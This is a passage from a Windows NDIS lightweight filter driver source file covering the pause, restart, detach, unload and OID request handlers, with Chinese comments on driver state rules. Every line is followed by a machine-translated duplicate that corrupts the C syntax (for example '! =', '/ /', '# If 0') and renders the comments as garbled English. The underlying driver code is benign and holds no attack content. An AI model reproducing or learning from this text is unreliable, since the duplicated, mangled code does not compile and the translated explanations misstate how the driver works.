        if (Status != NDIS_STATUS_SUCCESS)  if (Status! = NDIS_STATUS_SUCCESS)
        {  {
            DEBUGP(DL_WARN, ("MSFilter: Failed to set attributes.\n"));  DEBUGP (DL_WARN, ("MSFilter: Failed to set attributes. \ N"));
            break;  break;
        }  }

        pFilter->State = FilterPaused;  pFilter-> State = FilterPaused;

        FILTER_ACQUIRE_LOCK(&FilterListLock, bFalse);  FILTER_ACQUIRE_LOCK (& FilterListLock, bFalse);
        InsertHeadList(&FilterModuleList, &pFilter->FilterModuleLink);  InsertHeadList (& FilterModuleList, & pFilter-> FilterModuleLink);
        FILTER_RELEASE_LOCK(&FilterListLock, bFalse);  FILTER_RELEASE_LOCK (& FilterListLock, bFalse);

    }  }
    while (bFalse);  while (bFalse);

    if (Status != NDIS_STATUS_SUCCESS)  if (Status! = NDIS_STATUS_SUCCESS)
    {  {
        if (pFilter != NULL)  if (pFilter! = NULL)
        {  {
            FILTER_FREE_MEM(pFilter);  FILTER_FREE_MEM (pFilter);
        }  }
    }  }

    DEBUGP(DL_TRACE, ("<===FilterAttach:    Status %x\n", Status));  DEBUGP (DL_TRACE, ("<=== FilterAttach: Status% x \ n", Status));
    return Status;  return Status;
}  }

/**************************************************************   / ************************************************* *************
FilterPause函数的功能: Function of function FilterPause:
   Paused状态：在这种状态下，Filter Driver不能执行接收和发送操作。 Paused state: In this state, Filter Driver can not perform transmit and receive operations.
   当FilterDriver执行FilterPause全程时它就进入了Pausing状态。 Pausing state it enters When FilterDriver execute FilterPause full.

   Pausing状态：在这种状态下,Filter Driver要为一个Filter Module完成停止发送和接收 The Pausing state: In this state, Filter Driver for a Filter Module stop sending and receiving
   处理所需要的所有准备工作。 Handle all the preparatory work needed.

   一个在Pausing状态的Filter Driver有如下的约束： A the Pausing state of Filter Driver has the following constraints:

   (1)Filter Module不能发起任何新的接收指示,但可以传递下层驱动的接收指示。 (1) Filter Module can not initiate any new receiving instructions, but can pass the the lower driver receives instructions.
   (2)如果有Filter Module发起的接收指示还没有完成,那么必须等到它们全部完成。 (2) If there are the Filter Module initiated reception indication is not yet complete, then it must wait until they are completed.有只当 There are only when
      FilterReturnNetBufferLists完成所有外部接收指示后,暂停操作才能完成。 FilterReturnNetBufferLists complete all the external receiving instructions, suspend operation to complete.
   (3)要返回任何未处理的由下层驱动引发的接收指示给NDIS,只有等到NdisFReturnNetBufferLists返回了所有未处理的接收指示后暂停操作才能完成。 (3) To return any pending from the lower drive triggered by receiving instructions to NDIS, only until the pause operation to complete NdisFReturnNetBufferLists return all outstanding receive instructions.这里也可以排队缓冲这些未完成的接收指示。 Here also can be queued buffer these unfinished reception indication.
   (4)立即用NdisFReturnNetBufferLists返回所有下层驱动新传来的接收指示,如果需要可以在返回之前制和排队这些接收指示。 (4) with NdisFReturnNetBufferLists immediately return all lower drive receive from the instructions, if necessary before returning the system and queuing receive instructions.
   (5)不能发起任何新的发送请求。 (5) can not initiate any new send request.
   (6)如果有Filter Driver引的但NDIS还未完成的发送操作,必须等待它们完成。 (6) Filter Driver cited but the NDIS has not yet completed the send operation must wait for them to complete.
   (8)应该在FilterSendNetBufferLists例程中立即调用NdisFSendNetBufferListsComplete返回那些新达到的发送请求。 (8) should be called immediately FilterSendNetBufferLists routine NdisFSendNetBufferListsComplete to return newly achieved sent request.并且为每一个NET_BUFFER_LIST设置NDIS_STATUS_PAUSED返回状态。 And for each NET_BUFFER_LIST set NDIS_STATUS_PAUSED return state.
   (8)这时可以使用NdisFIndicateStatus提供状态指示。 (8) At this time you can use NdisFIndicateStatus provides status indication.
   (9)可以在FilterStatus中处理状态指示。 (9) can be treated in FilterStatus status indication.
   (10)可以在FilterOidRequest里面处理OID请求。 (10) can be treated in FilterOidRequest inside OID request.
   (11)可以发起一个OID操作。 (11) can initiate the operation of an OID.
   (12)不能释放分配的相关资源,和Filter Module相关的资源最好放在FilterDetach例程里面来释放。 (12) can not release allocated resources, the best resources Filter Module on FilterDetach the routines inside to release.
   (13)如果有用于发送和接收的定时器那么要停止它。 (13) If there are for transmitting and receiving the timer to stop it.

   当成功停止发送和接收操作后就必须完成暂停操作。 When must complete successfully stopped sending and receiving operations after suspending operations.暂停操作的完成可以是同步的也可以是异步的。 The completion of the pausing operation can be synchronous or asynchronous.
   若返回值是NDIS_STATUS_SUCCESS则，是同步。 If return value is NDIS_STATUS_SUCCESS to the synchronization.
   若是异步，则返回NDIS_STATUS_PENDING。 If asynchronous, the return NDIS_STATUS_PENDING.那么还必须调用NdisFPauseComplete函数。 You must also call NdisFPauseComplete function.

   暂停操作完成了以后,Filter Module进入了Paused状态。 Suspend the operation is complete, Filter Module into the Paused state.这里它有如下的约束： Here it has the following constraints:

   (1)不能发起任何接收指示,但可以传递底层驱动发来的接收指示。 (1) can not initiate any receiving instructions, but can be passed to the underlying driver to receive instructions.
   (2)需要立即调用NdisFReturnNetBufferLists返回底层驱动的接收指示给NDIS,如果需要可以在返回之前复制和排队这些接收指示。 (2) the need to immediately call NdisFReturnNetBufferLists Back underlying driver receives instructions to NDIS, if necessary before returning replication and queuing receive instructions.
   (3)不能引发任何新的发送指示。 (3) can not lead to any new send instructions.
   (4)需要立即调用NdisFSendNetBufferListsComplete完成那些在FilterSendNetBufferLists中收到的发送请求，并为每一个NET_BUFFER_LIST设置NDIS_STATUS_PAUSED返回状态。 (4) the need to immediately call NdisFSendNetBufferListsComplete complete those received in FilterSendNetBufferLists, send a request and state for each NET_BUFFER_LIST set NDIS_STATUS_PAUSED return.
   (5)这时可以使用NdisFIndicateStatus发起状态指示。 (5) can use NdisFIndicateStatus initiation state instructions.
   (6)可以在FilterStatus中进行状态指示处理。 (6) may be in the state in FilterStatus instruction processing.
   (8)可以在FilterOidRequest里面处理OID请求。 (8) can FilterOidRequest inside to handle the OID the request.
   (8)可以发起一个OID请求。 (8) can be initiated by an OID request.

   在Filter Module进行Pausing状态时NDIS不会发起其它PnP操作，比如:附加、分离、重启。 NDIS Filter Module Pausing state will not initiate the other PnP operations, such as: attached, detached, restart.只有当Filter Module进入了Paused状态后NDIS才能对它进行分离和重启操作。 Only when The Filter Module into the Paused state NDIS and it could be separated and restart operations.
 ***************************************************************/  ************************************************** ************* /
NDIS_STATUS  NDIS_STATUS
FilterPause(  FilterPause (
        IN  NDIS_HANDLE                     FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
        IN  PNDIS_FILTER_PAUSE_PARAMETERS   PauseParameters  IN PNDIS_FILTER_PAUSE_PARAMETERS PauseParameters
        )  )

{  {
    PMS_FILTER          pFilter = (PMS_FILTER)(FilterModuleContext);  PMS_FILTER pFilter = (PMS_FILTER) (FilterModuleContext);
    NDIS_STATUS         Status;  NDIS_STATUS Status;
    BOOLEAN               bFalse = FALSE;  BOOLEAN bFalse = FALSE;

    UNREFERENCED_PARAMETER(PauseParameters);  UNREFERENCED_PARAMETER (PauseParameters);

    DEBUGP(DL_TRACE, ("===>NDISLWF FilterPause: FilterInstance %p\n", FilterModuleContext));  DEBUGP (DL_TRACE, ("===> NDISLWF FilterPause: FilterInstance% p \ n", FilterModuleContext));

    FILTER_ASSERT(pFilter->State == FilterRunning);   FILTER_ASSERT (pFilter-> State == FilterRunning);

    FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse);  FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);
    pFilter->State = FilterPausing;  pFilter-> State = FilterPausing;
    FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse);  FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);

    Status = NDIS_STATUS_SUCCESS;      Status = NDIS_STATUS_SUCCESS;

    pFilter->State = FilterPaused;  pFilter-> State = FilterPaused;

    DEBUGP(DL_TRACE, ("<===FilterPause:  Status %x\n", Status));  DEBUGP (DL_TRACE, ("<=== FilterPause: Status% x \ n", Status));
    return Status;  return Status;
}  }

/*************************************************************** / ************************************************* **************
  FilterRestart函数的功能: Function of function FilterRestart:
   在Restarting状态下,一个Filter Driver必须为一个Filter Module完成重启发送和接收数据时 Restarting state, a Filter Driver must complete restart to send and receive data, a Filter Module
   所需要的所有准备工作。 Need all the preparation work.

   Restart is complete Restart is complete
    当Filter Module在Restarting状态下并且完成所有发送和接收所需要的准备工作时,Filter Module就进入了Running状态。 When the the Filter Module Restarting state and complete the preparatory work needed in all send and receive, Filter Module into the Running state.

要启动一个Paused状态的Filter Module,如果有FilterSetModuleOptions就先调用它,接着调用FilterRestart。 Filter Module, you want to start a Paused state if there FilterSetModuleOptions, first calling it then calls FilterRestart.

  当Filter Module在Restarting状态下,它可以: When the Filter Module Restarting state, it can:
  (1)完成任何正常的发送和接收所需要的准备工作。 (1) completion of any of the normal transmission and reception of the preparatory work needed.
  (2)可读写Filter Module的配置参数。 (2) to read and write the Filter Module configuration parameter.
  (3)可以接收网络数据指示,拷贝和排队数据稍后只是给上层驱动或者丢弃数据。 (3) can receive network data indicate, copy and queuing data later just to the upper drive or discard data.
  (4)不能发起任何新的接收指示。 (4) can not initiate any new receiving instructions.
  (5)应该立即调用NdisFSendNetBufferListsComplete例程来拒绝FilterSendNetBufferLists传来的发送的请求。 (5) should be called immediately NdisFSendNetBufferListsComplete routines to reject the request sent FilterSendNetBufferLists coming.应该设置每一个NET_BUFFER_LIST的完成状态为NDIS_STATUS_PAUSED Should set each NET_BUFFER_LIST completion status for NDIS_STATUS_PAUSED it
                (6)可以使用NdisFIndicateStatus例程进行状态指示。 (6) can be used to NdisFIndicateStatus routines status indication.
  (8)可以控制OID请求操作。 (8) can control OID requested operation.
  (8)不能发起任何新的发送请求。 (8) can not initiate any new send request.
  (9)应该调用NdisFReturnNetBufferLists返回所有新的接收指示。 (9) should be called NdisFReturnNetBufferLists returns all new receive instructions.如果需要的话可以在接收指示返回之前拷贝它们。 If need be receiving instructions before returning to copy them.
  (10)可以制作OID请求发送给下层驱动设置或查询配置信息。 (10) can be produced OID to send the request to the lower driver set or query configuration information.
  (11)可以在FilterStatus中控制状态指示。 (11) can be controlled in FilterStatus status indication.
  (12)返回时指示 NDIS_STATUS_SUCCESS 或失败状态,如果不Filter Module不能启动返回了失败，而它又是一个Mandatory的Filter Driver 那个 NDIS将会结束这个驱动栈 (12) return to indicate NDIS_STATUS_SUCCESS or failure status, if not Filter Module can not start to return failed, and it is also a Mandatory Filter Driver NDIS will be the end of the driver stack
在一个Filter Driver完成对发送和接收的重启后必须指示完成这个重启操作。 Must be instructed to complete the restart operation after the restart to send and receive in a Filter Driver.
Filter Driver的重启操作的完成可以是同步也可以是异步的，同步时返回 NDIS_STATUS_SUCCESS 异步时返回NDIS_STATUS_PENDING。 The Filter Driver reboot the completion of the operation can be synchronized can also asynchronous synchronization return NDIS_STATUS_SUCCESS asynchronous return NDIS_STATUS_PENDING.如果返回的是 NDIS_STATUS_PENDING 就必须调用NdisFRestartComplete 例程在重启操作完成后。 If the return is NDIS_STATUS_PENDING must call the the NdisFRestartComplete routines in the restart operation.
在这种情况下，驱动需要传递给NdisFRestartComplete 一个固定状态(标识重启结果的成功或失败状态)。 In this case, the driving need to pass NdisFRestartComplete the fixed state (success or failure status) identifies the restart results.

重启操作完成Filter Module就进入了 Running状态,恢得一切正常的发送和接收外理。 Restart operation is complete Filter Module into the Running state, the recovery was all normal send and receive outside the grounds.
在Filter Driver的FilterRestart例程执行的时候NDIS不会发起任即插即用操作,如附加,分离,暂停请求等等。 NDIS will not initiate any plug-and-play operation when performed in the Filter Driver FilterRestart routines, such as additional separation suspend request. Ndis可以在Filter Module进入Running状态后发起一个暂停请求。 Ndis Filter Module into the Running state to initiate a suspend request.
***************************************************************/  ************************************************** ************* /
NDIS_STATUS  NDIS_STATUS
FilterRestart(  FilterRestart (
    IN  NDIS_HANDLE                     FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
    IN  PNDIS_FILTER_RESTART_PARAMETERS RestartParameters  IN PNDIS_FILTER_RESTART_PARAMETERS RestartParameters
    )  )

{  {
    NDIS_STATUS     Status;  NDIS_STATUS Status;
    PMS_FILTER      pFilter = (PMS_FILTER)FilterModuleContext; // BUGBUG, the cast may be wrong  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext; / / BUGBUG, the cast may be wrong
    NDIS_HANDLE     ConfigurationHandle = NULL;  NDIS_HANDLE ConfigurationHandle = NULL;

    PNDIS_RESTART_GENERAL_ATTRIBUTES NdisGeneralAttributes;  PNDIS_RESTART_GENERAL_ATTRIBUTES NdisGeneralAttributes;
    PNDIS_RESTART_ATTRIBUTES         NdisRestartAttributes;  PNDIS_RESTART_ATTRIBUTES NdisRestartAttributes;
    NDIS_CONFIGURATION_OBJECT        ConfigObject;  NDIS_CONFIGURATION_OBJECT ConfigObject;

    DEBUGP(DL_TRACE, ("===>FilterRestart:   FilterModuleContext %p\n", FilterModuleContext));  DEBUGP (DL_TRACE, ("===> FilterRestart: FilterModuleContext% p \ n", FilterModuleContext));

    FILTER_ASSERT(pFilter->State == FilterPaused);  FILTER_ASSERT (pFilter-> State == FilterPaused);

    ConfigObject.Header.Type = NDIS_OBJECT_TYPE_CONFIGURATION_OBJECT;  ConfigObject.Header.Type = NDIS_OBJECT_TYPE_CONFIGURATION_OBJECT;
    ConfigObject.Header.Revision = NDIS_CONFIGURATION_OBJECT_REVISION_1;  ConfigObject.Header.Revision = NDIS_CONFIGURATION_OBJECT_REVISION_1;
    ConfigObject.Header.Size = sizeof(NDIS_CONFIGURATION_OBJECT);  ConfigObject.Header.Size = sizeof (NDIS_CONFIGURATION_OBJECT);
    ConfigObject.NdisHandle = FilterDriverHandle;  ConfigObject.NdisHandle = FilterDriverHandle;
    ConfigObject.Flags = 0;  ConfigObject.Flags = 0;

    Status = NdisOpenConfigurationEx(&ConfigObject, &ConfigurationHandle);  Status = NdisOpenConfigurationEx (& ConfigObject, & ConfigurationHandle);
    if (Status != NDIS_STATUS_SUCCESS)  if (Status! = NDIS_STATUS_SUCCESS)
    {          {

#if 0  # If 0
        //  / /
        // The code is here just to demonstrate how to call NDIS to write an eventlog. If drivers need to write   / / The code is here just to demonstrate how to call NDIS to write an eventlog. If drivers need to write
        // an event log.  / / An event log.
        //  / /
        PWCHAR              ErrorString = L"Ndislwf";  PWCHAR ErrorString = L "Ndislwf";

        DEBUGP(DL_WARN, ("FilterRestart: Cannot open configuration.\n"));  DEBUGP (DL_WARN, ("FilterRestart: Cannot open configuration. \ N"));
        NdisWriteEventLogEntry(FilterDriverObject,  NdisWriteEventLogEntry (FilterDriverObject,
                                EVENT_NDIS_DRIVER_FAILURE,  EVENT_NDIS_DRIVER_FAILURE,
                                0,  0,
                                1,  1,
                                &ErrorString,  & ErrorString,
                                sizeof(Status),  sizeof (Status),
                                &Status);  & Status);
#endif                                  # Endif

    }  }

    if (Status == NDIS_STATUS_SUCCESS)  if (Status == NDIS_STATUS_SUCCESS)
    {  {
        NdisCloseConfiguration(ConfigurationHandle);  NdisCloseConfiguration (ConfigurationHandle);
    }  }

    NdisRestartAttributes = RestartParameters->RestartAttributes;  NdisRestartAttributes = RestartParameters-> RestartAttributes;

    if (NdisRestartAttributes != NULL)  if (NdisRestartAttributes! = NULL)
    {  {
        PNDIS_RESTART_ATTRIBUTES   NextAttributes;  PNDIS_RESTART_ATTRIBUTES NextAttributes;

        ASSERT(NdisRestartAttributes->Oid == OID_GEN_MINIPORT_RESTART_ATTRIBUTES);  ASSERT (NdisRestartAttributes-> Oid == OID_GEN_MINIPORT_RESTART_ATTRIBUTES);

        NdisGeneralAttributes = (PNDIS_RESTART_GENERAL_ATTRIBUTES)NdisRestartAttributes->Data;  NdisGeneralAttributes = (PNDIS_RESTART_GENERAL_ATTRIBUTES) NdisRestartAttributes-> Data;

        NdisGeneralAttributes->LookaheadSize = 128;  NdisGeneralAttributes-> LookaheadSize = 128;

        NextAttributes = NdisRestartAttributes->Next;  NextAttributes = NdisRestartAttributes-> Next;

        while (NextAttributes != NULL)  while (NextAttributes! = NULL)
        {  {

            NextAttributes = NextAttributes->Next;  NextAttributes = NextAttributes-> Next;
        }  }

    }  }

    pFilter->State = FilterRunning;   pFilter-> State = FilterRunning;

    Status = NDIS_STATUS_SUCCESS;  Status = NDIS_STATUS_SUCCESS;

    if (Status != NDIS_STATUS_SUCCESS)  if (Status! = NDIS_STATUS_SUCCESS)
    {  {
        pFilter->State = FilterPaused;  pFilter-> State = FilterPaused;
    }  }

    DEBUGP(DL_TRACE, ("<===FilterRestart:  FilterModuleContext %p, Status %x\n", FilterModuleContext, Status));  DEBUGP (DL_TRACE, ("<=== FilterRestart: FilterModuleContext% p, Status% x \ n", FilterModuleContext, Status));
    return Status;  return Status;
}  }

/**************************************************************   / ************************************************* *************
FilterDetach函数的功能： Function of function FilterDetach:
   Detach状态：当Filter Driver从一个驱动栈上分离一个Filter Module时,将发生该事件。 Detach state: When separating a Filter Module Filter Driver from a driver on the stack, the event will take place.
   在驱动栈上分离一个过滤模块时,NDIS会暂停这个驱动栈。 Separation of a filter module in the driver stack, NDIS will suspend the driver stack.这意味着NDIS已经使过滤模块进入 This means NDIS filter module into
   了Parse状态。 The Parse state.即FilterPause函数先被调用了。 That FilterPause functions be called first.

   在这个例程中释放和这个过滤模块相关的环境上下文和其它资源。 In this routine to release the associated environmental context and the filtering module and other resources.这个过程不能失败。 This process can not fail.
   当FilterDetach函数返回以后,NDIS会重新启动被暂停的驱动栈。 After when FilterDetach function returns, NDIS will restart the is suspended driver stack.

   参数说明： Parameter Description:
    FilterDriverContext  它由NdisFRegisterFilterDriver的FilterDriverContext来指定。 By NdisFRegisterFilterDriver the FilterDriverContext FilterDriverContext it to be specified.
 ************************************************************/  ************************************************** ********** /
VOID  VOID
FilterDetach(  FilterDetach (
        IN  NDIS_HANDLE     FilterModuleContext  IN NDIS_HANDLE FilterModuleContext
        )  )

{  {
    PMS_FILTER                  pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    BOOLEAN                      bFalse = FALSE;  BOOLEAN bFalse = FALSE;

    DEBUGP(DL_TRACE, ("===>FilterDetach:    FilterInstance %p\n", FilterModuleContext));  DEBUGP (DL_TRACE, ("===> FilterDetach: FilterInstance% p \ n", FilterModuleContext));

    FILTER_ASSERT(pFilter->State == FilterPaused);  FILTER_ASSERT (pFilter-> State == FilterPaused);

    if (pFilter->FilterName.Buffer != NULL)  if (pFilter-> FilterName.Buffer! = NULL)
    {  {
        FILTER_FREE_MEM(pFilter->FilterName.Buffer);  FILTER_FREE_MEM (pFilter-> FilterName.Buffer);
    }  }

    FILTER_ACQUIRE_LOCK(&FilterListLock, bFalse);  FILTER_ACQUIRE_LOCK (& FilterListLock, bFalse);
    RemoveEntryList(&pFilter->FilterModuleLink);  RemoveEntryList (& pFilter-> FilterModuleLink);
    FILTER_RELEASE_LOCK(&FilterListLock, bFalse);  FILTER_RELEASE_LOCK (& FilterListLock, bFalse);

    FILTER_FREE_MEM(pFilter);  FILTER_FREE_MEM (pFilter);

    DEBUGP(DL_TRACE, ("<===FilterDetach Successfully\n"));  DEBUGP (DL_TRACE, ("<=== FilterDetach Successfully \ n"));

    return;  return;
}  }

/************************************************************** / ************************************************* *************
 系统只会在调用FilterDetach()分离了所有和本Filter Driver相关的Filter Module以后,才会调用FilterUnload例程。 The system only after the separation of the Filter Driver Filter Module FilterDetach () is called, will call FilterUnload routine.
****************************************************************/  ************************************************** ************** /
VOID  VOID
FilterUnload(  FilterUnload (
        IN  PDRIVER_OBJECT      DriverObject  IN PDRIVER_OBJECT DriverObject
        )  )

{  {
#if DBG      # If DBG
    BOOLEAN               bFalse = FALSE;  BOOLEAN bFalse = FALSE;
#endif  # Endif

    UNREFERENCED_PARAMETER(DriverObject);  UNREFERENCED_PARAMETER (DriverObject);

    DEBUGP(DL_TRACE, ("===>FilterUnload\n"));  DEBUGP (DL_TRACE, ("===> FilterUnload \ n"));

    FilterDeregisterDevice();  FilterDeregisterDevice ();
    NdisFDeregisterFilterDriver(FilterDriverHandle);  NdisFDeregisterFilterDriver (FilterDriverHandle);

#if DBG      # If DBG
    FILTER_ACQUIRE_LOCK(&FilterListLock, bFalse);  FILTER_ACQUIRE_LOCK (& FilterListLock, bFalse);
    ASSERT(IsListEmpty(&FilterModuleList));  ASSERT (IsListEmpty (& FilterModuleList));

    FILTER_RELEASE_LOCK(&FilterListLock, bFalse);  FILTER_RELEASE_LOCK (& FilterListLock, bFalse);

#endif      # Endif

    FILTER_FREE_LOCK(&FilterListLock);  FILTER_FREE_LOCK (& FilterListLock);

    DEBUGP(DL_TRACE, ("<===FilterUnload\n"));  DEBUGP (DL_TRACE, ("<=== FilterUnload \ n"));

    return;  return;

}  }

/*************************************************************** / ************************************************* **************
 FilterOidRequest函数的功能: Function of function FilterOidRequest:
  Filter Module可以在Runnig状态、Restarting状态、Paused状态和Pauseing状态进行OID的控制和处理。 Filter Module can the the Runnig status, Restarting state, Paused state and Pauseing state control and treatment of the OID.
  Filter Driver可以处理上层驱动引发的OID请求,NDIS调用Filter Driver的FilterOidRequest例程来处理OID请求,Filter Driver需要调用NdisFOidRequest例程来转发请求给下层驱动。 Filter Driver can handle the upper drive OID requests triggered, NDIS calls the Filter Driver FilterOidRequest routines to handle the OID request, Filter Driver needs call NdisFOidRequest routine to forward the request to the lower driver.

  Filter Driver可以从FilterOidRequest同步和异步完成一个OID请求,分别返回NDIS_STATS_SUCCESS和NDIS_STATUS_PENDING即可。 The Filter Driver From FilterOidRequest synchronous and asynchronous complete an OID request, respectively to return NDIS_STATS_SUCCESS NDIS_STATUS_PENDING can. FilterOidRequest可以用同步的直接完成一个OID请求并返回一个错误状态。 FilterOidRequest can sync directly to complete an OID request and returns an error status.

  如果FilterOidRequest返回NDIS_STATUS_PENDING,就必须在OID请求完成后调用 If FilterOidRequest return NDIS_STATUS_PENDING, it must call the OID request complete
  NdisFOidRequestComplete来通知上层驱动求请求完成。 NdisFOidRequestComplete to notify the upper drive demand request is complete.在这种情况下,请求的结果通过 In this case, the result of the request by
  NdisFOidRequestComplete的OidRequest参数返回给上层驱动,并通过Status参数返回请求完成的最终状态。 The the OidRequest parameters of NdisFOidRequestComplete return to the upper-driven, and Status parameter returns the final status of the request is complete.

  如果FilterOidRequest返回NDIS_STATUS_SUCCESS,通过FilterOidRequest的OidRequest参数返回一个查询结果到上层。 If FilterOidRequest return NDIS_STATUS_SUCCESS, return to the results of a query to the upper through FilterOidRequest OidRequest parameters.这时不调用 NdisFOidRequestComplete例程。 This time not call NdisFOidRequestComplete routine.

  要转发OID请求到下层驱动,Filter Driver必须调用NdisFOidRequest。 The forwarding OID request to the lower driver, Filter Driver must call NdisFOidRequest.如果一个OID请求不能被转发到下层驱动应该当立即返回。 If an OID request can not be forwarded to the next lower driver should when to return immediately.要完成一个请求且不转发可以直接返回NDIS_STATUS_SUCCESS或其它错误状态或返回 NDIS_STATUS_PENDING 后调用NdisFOidRequestComplete。 To complete a request not forwarded the direct return NDIS_STATUS_SUCCESS or other error status or return call NdisFOidRequestComplete after NDIS_STATUS_PENDING.

  如果NdisFOidRequest返回NDIS_STATUS_PENDING,NDIS在OID请求完成后调用FilterOidRequestComplete来通知求请求完成在这种情况下,请求的结果通过NdisFOidRequestComplete的OidRequest参数返回给上层驱动,并通过 Status 参数返回请求完成的最终状态。 If NdisFOidRequest return NDIS_STATUS_PENDING, NDIS OID request complete notice seeking requests completed in this case, the result of the request through NdisFOidRequestComplete the OidRequest parameters returned to the upper drive to call FilterOidRequestComplete to, and through the Status parameter to return the request to complete the final state.

  如果 NdisFOidRequest返回NDIS_STATUS_SUCCESS,通过NdisFOidRequest的OidRequest参数返回一个查询结果到上层。 If NdisFOidRequest return NDIS_STATUS_SUCCESS, return a query result to the upper through NdisFOidRequest OidRequest parameters.这时不调用FilterOidRequestComplete例程。 This time not call FilterOidRequestComplete routine.
  一个Filter Driver可以调用NdisFOidRequest引发OID请求在Restarting、Running、Pausing和Paused 状态。 A Filter Driver can call NdisFOidRequest the the triggered OID requests in Restarting, Running, Pausing and Paused state.

  注意:Filter Driver必须跟踪这个请求确保不在FilterOidRequestComplete中调用NdisFOidRequestComplete(因为请求是自己引发的不能传到上层)。 Note: Filter Driver must track the request ensure the is not FilterOidRequestComplete call NdisFOidRequestComplete (because the request is not spread to the upper induced).
 ****************************************************************/  ************************************************** ************** /
NDIS_STATUS  NDIS_STATUS
FilterOidRequest(IN  NDIS_HANDLE   FilterModuleContext,IN  PNDIS_OID_REQUEST   Request)  FilterOidRequest (IN NDIS_HANDLE FilterModuleContext, IN PNDIS_OID_REQUEST Request)

{  {
    PMS_FILTER              pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    NDIS_STATUS             Status;  NDIS_STATUS Status;
    PNDIS_OID_REQUEST       ClonedRequest=NULL;  PNDIS_OID_REQUEST ClonedRequest = NULL;
    BOOLEAN                 bSubmitted = FALSE;  BOOLEAN bSubmitted = FALSE;
    PFILTER_REQUEST_CONTEXT Context;  PFILTER_REQUEST_CONTEXT Context;
    BOOLEAN               bFalse = FALSE;  BOOLEAN bFalse = FALSE;

    DEBUGP(DL_TRACE, ("===>FilterOidRequest: Request %p.\n", Request));  DEBUGP (DL_TRACE, ("===> FilterOidRequest: Request% p. \ N", Request));

    do  do
    {  {
        Status = NdisAllocateCloneOidRequest(pFilter->FilterHandle,  Status = NdisAllocateCloneOidRequest (pFilter-> FilterHandle,
                                            Request,  Request,
                                            FILTER_TAG,  FILTER_TAG,
                                            &ClonedRequest);  & ClonedRequest);
        if (Status != NDIS_STATUS_SUCCESS)  if (Status! = NDIS_STATUS_SUCCESS)
        {  {
            DEBUGP(DL_WARN, ("FilerOidRequest: Cannot Clone Request\n"));  DEBUGP (DL_WARN, ("FilerOidRequest: Cannot Clone Request \ n"));
            break;  break;
        }  }

        Context = (PFILTER_REQUEST_CONTEXT)(&ClonedRequest->SourceReserved[0]);  Context = (PFILTER_REQUEST_CONTEXT) (& ClonedRequest-> SourceReserved [0]);
        *Context = Request;  * Context = Request;

        bSubmitted = TRUE;  bSubmitted = TRUE;

        ClonedRequest->RequestId = Request->RequestId;  ClonedRequest-> RequestId = Request-> RequestId;

        pFilter->PendingOidRequest = ClonedRequest;  pFilter-> PendingOidRequest = ClonedRequest;

//Filter Driver可以调用NdisFOidRequest引发一个OID查询和设置请求给下层驱动。 / / Filter Driver can call NdisFOidRequest the trigger query and set an OID request to the lower driver.
        Status = NdisFOidRequest(pFilter->FilterHandle, ClonedRequest);  Status = NdisFOidRequest (pFilter-> FilterHandle, ClonedRequest);

        if (Status != NDIS_STATUS_PENDING)  if (Status! = NDIS_STATUS_PENDING)
        {  {

            FilterOidRequestComplete(pFilter, ClonedRequest, Status);  FilterOidRequestComplete (pFilter, ClonedRequest, Status);
            Status = NDIS_STATUS_PENDING;  Status = NDIS_STATUS_PENDING;
        }   }

    }while (bFalse);  } While (bFalse);

    if (bSubmitted == FALSE)  if (bSubmitted == FALSE)
    {  {
        switch(Request->RequestType)  switch (Request-> RequestType)
        {  {
            case NdisRequestMethod:  case NdisRequestMethod:
                Request->DATA.METHOD_INFORMATION.BytesRead = 0;  Request-> DATA.METHOD_INFORMATION.BytesRead = 0;
                Request->DATA.METHOD_INFORMATION.BytesNeeded = 0;   Request-> DATA.METHOD_INFORMATION.BytesNeeded = 0;
                Request->DATA.METHOD_INFORMATION.BytesWritten = 0;   Request-> DATA.METHOD_INFORMATION.BytesWritten = 0;
                break;  break;

            case NdisRequestSetInformation:  case NdisRequestSetInformation:
                Request->DATA.SET_INFORMATION.BytesRead = 0;  Request-> DATA.SET_INFORMATION.BytesRead = 0;
                Request->DATA.SET_INFORMATION.BytesNeeded = 0;   Request-> DATA.SET_INFORMATION.BytesNeeded = 0;
                break;  break;

            case NdisRequestQueryInformation:  case NdisRequestQueryInformation:
            case NdisRequestQueryStatistics:  case NdisRequestQueryStatistics:
            default:  default:
                Request->DATA.QUERY_INFORMATION.BytesWritten = 0;  Request-> DATA.QUERY_INFORMATION.BytesWritten = 0;
                Request->DATA.QUERY_INFORMATION.BytesNeeded = 0;   Request-> DATA.QUERY_INFORMATION.BytesNeeded = 0;
                break;  break;
        }  }

    }  }
    DEBUGP(DL_TRACE, ("<===FilterOidRequest: Status %8x.\n", Status));  DEBUGP (DL_TRACE, ("<=== FilterOidRequest: Status% 8x. \ N", Status));

    return Status;  return Status;

}  }

/************************************************************* / ************************************************* ************
 FilterCancelOidRequest函数的功能: Function of function FilterCancelOidRequest:
  NDIS调用FilterCancelOidRequest来取消一个OID请求,当NDIS调用FilterCancelOidRequest时, An OID request to NDIS to call FilterCancelOidRequest to cancel when the NDIS call FilterCancelOidRequest,
  Filter Driver应该尽可能快的调用NdisFCancelOidRequest。 Filter Driver should call as soon as possible NdisFCancelOidRequest.
 *************************************************************/  ************************************************** *********** /
VOID  VOID
FilterCancelOidRequest(  FilterCancelOidRequest (
    IN  NDIS_HANDLE             FilterModuleContext,  IN NDIS_HANDLE FilterModuleContext,
    IN  PVOID                   RequestId  IN PVOID RequestId
    )  )
{  {
    PMS_FILTER                          pFilter = (PMS_FILTER)FilterModuleContext;  PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
    PNDIS_OID_REQUEST                   Request = NULL;  PNDIS_OID_REQUEST Request = NULL;
    PFILTER_REQUEST_CONTEXT             Context;  PFILTER_REQUEST_CONTEXT Context;
    PNDIS_OID_REQUEST                   OriginalRequest = NULL;  PNDIS_OID_REQUEST OriginalRequest = NULL;
    BOOLEAN               bFalse = FALSE;  BOOLEAN bFalse = FALSE;

